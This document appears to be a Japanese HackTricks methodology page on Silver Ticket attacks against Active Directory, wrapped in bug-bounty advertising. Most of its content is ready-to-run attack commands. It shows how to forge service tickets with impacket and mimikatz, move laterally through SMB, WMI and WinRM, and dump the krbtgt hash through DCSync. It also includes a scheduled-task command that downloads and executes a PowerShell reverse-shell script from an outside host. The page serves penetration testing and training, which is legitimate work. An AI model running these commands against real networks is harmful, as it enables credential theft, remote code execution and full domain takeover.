hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md
2024-04-06 18:36:04 +00:00

9.2 KiB
Raw Blame History

Silver Ticket

htARTEHackTricks AWS Red Team Expert を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法

バグバウンティのヒント: ハッカーによって作成されたプレミアムバグバウンティプラットフォームであるIntigritiサインアップしてください!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得し始めましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

Silver ticket

Silver Ticket攻撃は、Active DirectoryAD環境でのサービスチケットの悪用を含みます。この方法は、コンピューターアカウントなどのサービスアカウントのNTLMハッシュを取得し、チケット発行サービスTGSチケットを偽造することに依存しています。この偽造されたチケットを使用すると、攻撃者はネットワーク上の特定のサービスにアクセスし、通常は管理特権を狙って任意のユーザーをなりすますことができます。チケットの偽造には、AESキーを使用することがより安全で検出されにくいことが強調されています。

チケットの作成には、オペレーティングシステムに基づいて異なるツールが使用されます:

Linux上

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Windows上

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

利用可能なサービス

サービスタイプ サービスシルバーチケット
WMI

HOST

RPCSS

PowerShellリモート

HOST

HTTP

OSによっては:

WSMAN

RPCSS

WinRM

HOST

HTTP

場合によっては: WINRM

スケジュールタスク HOST
Windowsファイル共有、またpsexec CIFS
LDAP操作、DCSyncを含む LDAP
Windowsリモートサーバー管理ツール

RPCSS

LDAP

CIFS

ゴールデンチケット krbtgt

Rubeusを使用して、以下のパラメータを使用してこれらのチケットをすべて要求できます:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

シルバーチケットのイベントID

  • 4624: アカウントログオン
  • 4634: アカウントログオフ
  • 4672: 管理者ログオン

サービスチケットの悪用

以下の例では、チケットが管理者アカウントを偽装して取得されたと想定しています。

CIFS

このチケットを使用すると、C$およびADMIN$フォルダにSMB経由でアクセスし、リモートファイルシステムの一部にファイルをコピーすることができます。

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

ホスト

この権限を使用すると、リモートコンピューターでスケジュールされたタスクを生成し、任意のコマンドを実行できます。

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

これらのチケットを使用すると、被害者システムでWMIを実行できます。

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

以下のページでwmiexecに関する詳細情報を見つける:

{% content-ref url="../lateral-movement/wmicexec.md" %} wmicexec.md {% endcontent-ref %}

ホスト + WSMAN (WINRM)

コンピューター上でwinrmアクセスを使用すると、アクセスしてPowerShellを取得できます

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

LDAP

この権限を使用すると、DCSyncを使用してDCデータベースをダンプできます。

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

DCSyncについては、以下のページで詳細を学ぶ:

参考文献

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

バグバウンティのヒント: Intigritiサインアップして、ハッカーによって作成されたプレミアムバグバウンティプラットフォームに参加しましょう!https://go.intigriti.com/hacktricksで今すぐ登録して、最大**$100,000**のバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキングを学ぶ** こちら

HackTricksをサポートする他の方法